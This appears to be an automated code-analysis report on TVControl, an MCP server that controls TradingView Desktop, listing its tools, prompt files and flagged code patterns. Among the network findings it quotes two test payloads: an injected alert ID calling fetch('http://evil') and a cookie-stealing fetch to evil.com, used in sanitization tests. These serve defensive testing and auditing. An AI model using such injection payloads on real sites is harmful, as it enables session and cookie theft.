TVControl by Ferrox Labs — TradingView MCP System. AI remote control for TradingView Desktop. 88 MCP tools driving symbols, indicators, Pine, snapshots, sweeps, replay, and live chart vision. All local, zero cloud calls.
Drift inferred · capture-to-capture
No drift recorded — single capability capture; advisories appear once its surface changes.
transport stdio counts 110 tools · 0 res
· 0 prompts
permission surface via code analysis
tools
-
alert_create
-
alert_create_bulk
-
alert_delete
-
alert_delete_by_id
-
alert_list
-
batch_run
-
capture_screenshot
-
chart_get_state
-
chart_get_visible_range
-
chart_manage_indicator
-
chart_scroll_to_date
-
chart_set_symbol
-
chart_set_timeframe
-
chart_set_type
-
chart_set_visible_range
-
chart_vision_read
-
data_get_equity
-
data_get_indicator
-
data_get_ohlcv
-
data_get_pine_boxes
-
data_get_pine_labels
-
data_get_pine_lines
-
data_get_pine_tables
-
data_get_strategy_results
-
data_get_study_values
-
data_get_trades
-
depth_get
-
draw_clear
-
draw_get_properties
-
draw_list
-
draw_remove_one
-
draw_shape
-
indicator_add_from_search
-
indicator_get_inputs
-
indicator_search
-
indicator_set_inputs
-
indicator_toggle_visibility
-
layout_get_active
-
layout_list
-
layout_switch
-
pane_focus
-
pane_list
-
pane_set_layout
-
pane_set_symbol
-
pine_analyze
-
pine_check
-
pine_compile
-
pine_get_console
-
pine_get_errors
-
pine_get_source
-
pine_list_scripts
-
pine_new
-
pine_open
-
pine_save
-
pine_set_source
-
pine_smart_compile
-
quote_batch
-
quote_get
-
replay_autoplay
-
replay_start
-
replay_status
-
replay_step
-
replay_stop
-
replay_trade
-
state_delete
-
state_list
-
state_restore
-
state_snapshot
-
strategy_sweep
-
symbol_info
-
symbol_search
-
tab_close
-
tab_list
-
tab_new
-
tab_switch
-
tv_capability_matrix
-
tv_chart_health
-
tv_compatibility_check
-
tv_compatibility_snapshot
-
tv_discover
-
tv_health_check
-
tv_launch
-
tv_repair_chart
-
tv_support_bundle
-
tv_ui_state
-
tv_update
-
tv_watchdog_history
-
tv_watchdog_sample
-
tv_watchdog_start
-
tv_watchdog_status
-
tv_watchdog_stop
-
ui_click
-
ui_evaluate
-
ui_find_element
-
ui_fullscreen
-
ui_hover
-
ui_keyboard
-
ui_mouse_click
-
ui_open_panel
-
ui_scroll
-
ui_type_text
-
watchlist_add
-
watchlist_add_bulk
-
watchlist_export
-
watchlist_get
-
watchlist_get_by_id
-
watchlist_import
-
watchlist_list
-
watchlist_remove
-
watchlist_remove_bulk
prompt-surface
shipped agent-instruction files + hidden-content / dangerous-code findings —
quoted from the analyzed source
analyzed commit 0ee585f · analyzer v33 · 6d ago
skills & prompt files 22
- agent-rules FerroxLabs-tvcontrol-0ee585f/AGENTS.md
- agent-rules FerroxLabs-tvcontrol-0ee585f/CLAUDE.md
- prompt-file FerroxLabs-tvcontrol-0ee585f/examples/prompts/00-quick-start.md
- prompt-file FerroxLabs-tvcontrol-0ee585f/examples/prompts/01-chart-analysis.md
- prompt-file FerroxLabs-tvcontrol-0ee585f/examples/prompts/02-pine-development.md
- prompt-file FerroxLabs-tvcontrol-0ee585f/examples/prompts/03-state-management.md
- prompt-file FerroxLabs-tvcontrol-0ee585f/examples/prompts/04-strategy-sweep.md
- prompt-file FerroxLabs-tvcontrol-0ee585f/examples/prompts/05-replay-practice.md
- prompt-file FerroxLabs-tvcontrol-0ee585f/examples/prompts/06-watchlist-and-alerts.md
- prompt-file FerroxLabs-tvcontrol-0ee585f/examples/prompts/07-screening-and-optimization.md
- prompt-file FerroxLabs-tvcontrol-0ee585f/examples/prompts/99-agent-tips.md
- skill FerroxLabs-tvcontrol-0ee585f/skills/chart-analysis/SKILL.md
- skill FerroxLabs-tvcontrol-0ee585f/skills/learn-from-losses/SKILL.md
- skill FerroxLabs-tvcontrol-0ee585f/skills/morning-prep/SKILL.md
- skill FerroxLabs-tvcontrol-0ee585f/skills/multi-pane-analysis/SKILL.md
- skill FerroxLabs-tvcontrol-0ee585f/skills/multi-symbol-scan/SKILL.md
- skill FerroxLabs-tvcontrol-0ee585f/skills/pine-develop/SKILL.md
- skill FerroxLabs-tvcontrol-0ee585f/skills/porting-pine-versions/SKILL.md
- skill FerroxLabs-tvcontrol-0ee585f/skills/rebuild-from-screenshot/SKILL.md
- skill FerroxLabs-tvcontrol-0ee585f/skills/replay-practice/SKILL.md
- skill FerroxLabs-tvcontrol-0ee585f/skills/strategy-ab-test/SKILL.md
- skill FerroxLabs-tvcontrol-0ee585f/skills/strategy-report/SKILL.md
danger signals4
- dynamic code execution new Function() FerroxLabs-tvcontrol-0ee585f/tests/pine_clobber_guard.test.js :123
assert.doesNotThrow(() => new Function(`return ${expr}`), - dynamic code execution new Function() FerroxLabs-tvcontrol-0ee585f/tests/pine_editor_finder.test.js :67
const finder = new Function('document', 'return (' + match[1] + ');'); - dynamic code execution new Function() FerroxLabs-tvcontrol-0ee585f/tests/session_health.test.js :100
return new Function('window', `return (${expr});`)(window); - dynamic code execution new Function() FerroxLabs-tvcontrol-0ee585f/tests/study_addressing.test.js :83
return new Function('window', `return (${expression});`)(window);
evidence-backed
findings quoted directly from the published source artifact — not inferred
code files: 172
filesystem 56
- fs (weak) FerroxLabs-tvcontrol-0ee585f/scripts/check_bin_entrypoint.js :14
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/scripts/count_tools.js :2
import { readdirSync, readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_pull.js :4
import { writeFileSync } from 'fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_push.js :19
import { readFileSync } from 'fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/scripts/run_offline_tests.js :2
import { readdirSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/scripts/verify_finder.mjs :4
import { readFileSync } from 'fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/cli/commands/pine.js :4
import { readFileSync } from 'fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/cli/commands/reliability.js :4
import { readFileSync } from 'node:fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/connection.js :3
import { readFileSync, writeFileSync, mkdirSync, renameSync } from 'fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/core/batch.js :13
import { writeFileSync, mkdirSync } from 'fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/core/capabilities.js :1
import { readdirSync, readFileSync } from 'node:fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/core/capture.js :6
import { writeFileSync, mkdirSync } from 'fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/core/coordination.js :8
} from 'node:fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/core/health.js :5
import { existsSync, cpSync, rmSync, readdirSync, mkdirSync, readFileSync, writeFileSync, renameSync, statSync, unlinkSync } from 'fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/core/receipts.js :1
import { existsSync, mkdirSync, realpathSync, renameSync, writeFileSync } from 'node:fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/core/state.js :7
import { writeFileSync, readFileSync, mkdirSync, readdirSync, unlinkSync, renameSync, existsSync } from 'node:fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/core/support.js :5
import { readFileSync } from 'node:fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/core/sweep.js :5
import { writeFileSync, mkdirSync, existsSync, readFileSync, renameSync, unlinkSync, readdirSync, statSync } from 'node:fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/core/telemetry.js :8
import { appendFileSync, existsSync, renameSync, statSync, unlinkSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/core/update.js :7
import { existsSync as _existsSync } from 'node:fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/core/vision.js :4
import { readFileSync, mkdirSync } from 'fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/core/watchdog.js :7
import { existsSync, mkdirSync, readFileSync, renameSync, writeFileSync } from 'node:fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/core/watchdog_service.js :1
import { existsSync, unlinkSync } from 'node:fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/core/watchlist.js :6
import { writeFileSync, readFileSync, mkdirSync, renameSync, existsSync } from 'node:fs'; - fs FerroxLabs-tvcontrol-0ee585f/src/server.js :28
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/_helpers.js :12
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/alert_delete_endpoint.test.js :19
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/batch_actions.test.js :16
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/bin_entrypoint.test.js :21
import fs from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/cli.test.js :13
import { writeFileSync, unlinkSync } from 'fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/connection.test.js :14
import { mkdtempSync, existsSync, writeFileSync, utimesSync, rmSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/coordination.test.js :3
import { mkdtempSync, existsSync, writeFileSync, utimesSync, rmSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/field_naming.test.js :11
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/health.test.js :3
import { mkdtempSync, rmSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/hermetic_deps.test.js :20
import { mkdtempSync, writeFileSync, mkdirSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/layout_switch_contract.test.js :15
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/pine_clobber_guard.test.js :17
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/pine_editor_finder.test.js :14
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/pine_list_paging.test.js :13
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/pine_save_contract.test.js :12
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/receipts.test.js :3
import { mkdtempSync, mkdirSync, realpathSync, rmSync, symlinkSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/replay.test.js :7
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/sanitization.test.js :7
import { readFileSync, readdirSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/snapshot_layout.test.js :20
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/state.test.js :8
import { mkdtempSync, rmSync, writeFileSync, mkdirSync, existsSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/sweep.test.js :8
import { mkdtempSync, rmSync, mkdirSync, writeFileSync, existsSync, readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/sweep_parallel.test.js :10
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/tab_close_target.test.js :17
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/telemetry.test.js :7
import { mkdtempSync, rmSync, writeFileSync, readFileSync, existsSync, statSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/tool_count.test.js :3
import { readdirSync, readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/ui_open_panel_order.test.js :27
import { readFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/verification_contract.test.js :25
import { writeFileSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/vision.test.js :8
import { mkdtempSync, writeFileSync, rmSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/watchdog.test.js :3
import { mkdtempSync, readFileSync, rmSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/watchlist.test.js :8
import { mkdtempSync, rmSync, writeFileSync, mkdirSync } from 'node:fs'; - fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/watchlist_api.test.js :18
import { readFileSync } from 'node:fs';
shell / exec 10
- shell (weak) FerroxLabs-tvcontrol-0ee585f/scripts/run_offline_tests.js :4
import { spawnSync } from 'node:child_process'; - shell FerroxLabs-tvcontrol-0ee585f/src/core/health.js :6
import { execFileSync, spawn } from 'child_process'; - shell FerroxLabs-tvcontrol-0ee585f/src/core/update.js :6
import { execFileSync as _execFileSync } from 'node:child_process'; - shell FerroxLabs-tvcontrol-0ee585f/src/core/watchdog_service.js :2
import { execFileSync } from 'node:child_process'; - shell (weak) FerroxLabs-tvcontrol-0ee585f/tests/bin_entrypoint.test.js :20
import { spawn, execFileSync } from 'node:child_process'; - shell (weak) FerroxLabs-tvcontrol-0ee585f/tests/cli.test.js :10
import { execFileSync, execSync } from 'child_process'; - shell (weak) FerroxLabs-tvcontrol-0ee585f/tests/mcp_stdio.test.js :20
import { spawn, execFileSync } from 'node:child_process'; - shell (weak) FerroxLabs-tvcontrol-0ee585f/tests/pine_api.test.js :7
import { execFileSync } from 'node:child_process'; - shell (weak) FerroxLabs-tvcontrol-0ee585f/tests/readonly.test.js :18
import { execFileSync } from 'node:child_process'; - shell (weak) FerroxLabs-tvcontrol-0ee585f/tests/tool_count.test.js :6
import { execFileSync } from 'node:child_process';
network 15
- net (weak) FerroxLabs-tvcontrol-0ee585f/scripts/alleditors.mjs :2
const targets = await (await fetch('http://localhost:9222/json/list')).json(); - net (weak) FerroxLabs-tvcontrol-0ee585f/scripts/peek.mjs :9
const targets = await (await fetch('http://localhost:9222/json/list')).json(); - net (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_pull.js :6
const targets = await (await fetch('http://localhost:9222/json/list')).json(); - net (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_push.js :24
const targets = await (await fetch('http://localhost:9222/json/list')).json(); - net (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_save_focused.mjs :5
const targets = await (await fetch('http://localhost:9222/json/list')).json(); - net (weak) FerroxLabs-tvcontrol-0ee585f/scripts/updatechart.mjs :2
const targets = await (await fetch('http://localhost:9222/json/list')).json(); - net (weak) FerroxLabs-tvcontrol-0ee585f/scripts/verify_finder.mjs :10
const targets = await (await fetch('http://localhost:9222/json/list')).json(); - net FerroxLabs-tvcontrol-0ee585f/src/core/alerts.js :107
var response = await fetch('https://pricealerts.tradingview.com/create_alert', { - net FerroxLabs-tvcontrol-0ee585f/src/core/chart.js :650
resp = await fetch(`https://symbol-search.tradingview.com/symbol_search/v3/?${params}`, { - net FerroxLabs-tvcontrol-0ee585f/src/core/pine.js :998
return fetch('https://pine-facade.tradingview.com/pine-facade/list/?filter=saved', { credentials: 'include' }) - net FerroxLabs-tvcontrol-0ee585f/src/core/sweep.js :609
// chart is a READ-ONLY metaInfo fetch (_evalConn below). So the start-state - net FerroxLabs-tvcontrol-0ee585f/src/core/watchlist.js :95
var res = await fetch(${JSON.stringify(WL_API)} + 'active/', { credentials: 'include' }); - net (weak) FerroxLabs-tvcontrol-0ee585f/tests/alerts.test.js :86
() => deleteById({ alert_id: '1"; fetch("http://evil");//', _deps }), - net (weak) FerroxLabs-tvcontrol-0ee585f/tests/e2e.test.js :909
const response = await fetch( - net (weak) FerroxLabs-tvcontrol-0ee585f/tests/sanitization.test.js :56
const payload = "'); fetch('https://evil.com/steal?c=' + document.cookie); ('";
tool registrations 110
- alert_create FerroxLabs-tvcontrol-0ee585f/src/tools/alerts.js :6
- alert_create_bulk FerroxLabs-tvcontrol-0ee585f/src/tools/alerts.js :21
- alert_list FerroxLabs-tvcontrol-0ee585f/src/tools/alerts.js :37
- alert_delete FerroxLabs-tvcontrol-0ee585f/src/tools/alerts.js :42
- alert_delete_by_id FerroxLabs-tvcontrol-0ee585f/src/tools/alerts.js :51
- batch_run FerroxLabs-tvcontrol-0ee585f/src/tools/batch.js :6
- capture_screenshot FerroxLabs-tvcontrol-0ee585f/src/tools/capture.js :6
- chart_get_state FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :7
- chart_set_symbol FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :12
- chart_set_timeframe FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :19
- chart_set_type FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :26
- chart_manage_indicator FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :33
- chart_get_visible_range FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :46
- chart_set_visible_range FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :51
- chart_scroll_to_date FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :59
- symbol_info FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :66
- symbol_search FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :71
- data_get_ohlcv FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :6
- data_get_indicator FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :14
- data_get_strategy_results FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :21
- data_get_trades FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :28
- data_get_equity FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :36
- quote_get FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :43
- depth_get FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :50
- quote_batch FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :60
- data_get_pine_lines FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :67
- data_get_pine_labels FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :75
- data_get_pine_tables FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :84
- data_get_pine_boxes FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :91
- data_get_study_values FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :99
- draw_shape FerroxLabs-tvcontrol-0ee585f/src/tools/drawing.js :6
- draw_list FerroxLabs-tvcontrol-0ee585f/src/tools/drawing.js :17
- draw_clear FerroxLabs-tvcontrol-0ee585f/src/tools/drawing.js :22
- draw_remove_one FerroxLabs-tvcontrol-0ee585f/src/tools/drawing.js :27
- draw_get_properties FerroxLabs-tvcontrol-0ee585f/src/tools/drawing.js :34
- tv_health_check FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :11
- tv_chart_health FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :16
- tv_repair_chart FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :23
- tv_discover FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :36
- tv_compatibility_check FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :41
- tv_capability_matrix FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :46
- tv_support_bundle FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :54
- tv_compatibility_snapshot FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :61
- tv_watchdog_sample FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :69
- tv_watchdog_start FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :74
- tv_watchdog_stop FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :81
- tv_watchdog_status FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :86
- tv_watchdog_history FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :91
- tv_ui_state FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :98
- tv_launch FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :103
- tv_update FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :111
- indicator_search FerroxLabs-tvcontrol-0ee585f/src/tools/indicators.js :6
- indicator_add_from_search FerroxLabs-tvcontrol-0ee585f/src/tools/indicators.js :14
- indicator_get_inputs FerroxLabs-tvcontrol-0ee585f/src/tools/indicators.js :23
- indicator_set_inputs FerroxLabs-tvcontrol-0ee585f/src/tools/indicators.js :30
- indicator_toggle_visibility FerroxLabs-tvcontrol-0ee585f/src/tools/indicators.js :38
- pane_list FerroxLabs-tvcontrol-0ee585f/src/tools/pane.js :6
- pane_set_layout FerroxLabs-tvcontrol-0ee585f/src/tools/pane.js :11
- pane_focus FerroxLabs-tvcontrol-0ee585f/src/tools/pane.js :18
- pane_set_symbol FerroxLabs-tvcontrol-0ee585f/src/tools/pane.js :25
- pine_get_source FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :6
- pine_set_source FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :11
- pine_compile FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :19
- pine_get_errors FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :24
- pine_save FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :29
- pine_get_console FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :34
- pine_smart_compile FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :39
- pine_new FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :44
- pine_open FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :52
- pine_list_scripts FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :59
- pine_analyze FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :68
- pine_check FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :75
- replay_start FerroxLabs-tvcontrol-0ee585f/src/tools/replay.js :6
- replay_step FerroxLabs-tvcontrol-0ee585f/src/tools/replay.js :13
- replay_autoplay FerroxLabs-tvcontrol-0ee585f/src/tools/replay.js :18
- replay_stop FerroxLabs-tvcontrol-0ee585f/src/tools/replay.js :26
- replay_trade FerroxLabs-tvcontrol-0ee585f/src/tools/replay.js :31
- replay_status FerroxLabs-tvcontrol-0ee585f/src/tools/replay.js :38
- state_snapshot FerroxLabs-tvcontrol-0ee585f/src/tools/state.js :6
- state_restore FerroxLabs-tvcontrol-0ee585f/src/tools/state.js :14
- state_list FerroxLabs-tvcontrol-0ee585f/src/tools/state.js :21
- state_delete FerroxLabs-tvcontrol-0ee585f/src/tools/state.js :26
- strategy_sweep FerroxLabs-tvcontrol-0ee585f/src/tools/sweep.js :10
- tab_list FerroxLabs-tvcontrol-0ee585f/src/tools/tab.js :6
- tab_new FerroxLabs-tvcontrol-0ee585f/src/tools/tab.js :11
- tab_close FerroxLabs-tvcontrol-0ee585f/src/tools/tab.js :19
- tab_switch FerroxLabs-tvcontrol-0ee585f/src/tools/tab.js :26
- ui_click FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :6
- ui_open_panel FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :14
- ui_fullscreen FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :22
- layout_list FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :27
- layout_get_active FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :36
- layout_switch FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :41
- ui_keyboard FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :49
- ui_type_text FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :57
- ui_hover FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :65
- ui_scroll FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :73
- ui_mouse_click FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :81
- ui_find_element FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :91
- ui_evaluate FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :108
- chart_vision_read FerroxLabs-tvcontrol-0ee585f/src/tools/vision.js :11
- watchlist_list FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :6
- watchlist_get_by_id FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :11
- watchlist_get FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :18
- watchlist_add FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :23
- watchlist_add_bulk FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :39
- watchlist_remove FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :46
- watchlist_remove_bulk FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :53
- watchlist_export FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :60
- watchlist_import FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :67
install hooks 1
- prepublishOnly FerroxLabs-tvcontrol-0ee585f/package.json :50
node scripts/check_bin_entrypoint.js
declared dependencies 4
- @modelcontextprotocol/sdk@1.29.0
- chrome-remote-interface@0.34.0
- zod@4.3.6
- eslint@9.39.4
perm:untrusted 7
- untrusted (weak) FerroxLabs-tvcontrol-0ee585f/scripts/alleditors.mjs :2
const targets = await (await fetch('http://localhost:9222/json/list')).json(); - untrusted (weak) FerroxLabs-tvcontrol-0ee585f/scripts/peek.mjs :9
const targets = await (await fetch('http://localhost:9222/json/list')).json(); - untrusted (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_pull.js :6
const targets = await (await fetch('http://localhost:9222/json/list')).json(); - untrusted (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_push.js :24
const targets = await (await fetch('http://localhost:9222/json/list')).json(); - untrusted (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_save_focused.mjs :5
const targets = await (await fetch('http://localhost:9222/json/list')).json(); - untrusted (weak) FerroxLabs-tvcontrol-0ee585f/scripts/updatechart.mjs :2
const targets = await (await fetch('http://localhost:9222/json/list')).json(); - untrusted (weak) FerroxLabs-tvcontrol-0ee585f/scripts/verify_finder.mjs :10
const targets = await (await fetch('http://localhost:9222/json/list')).json();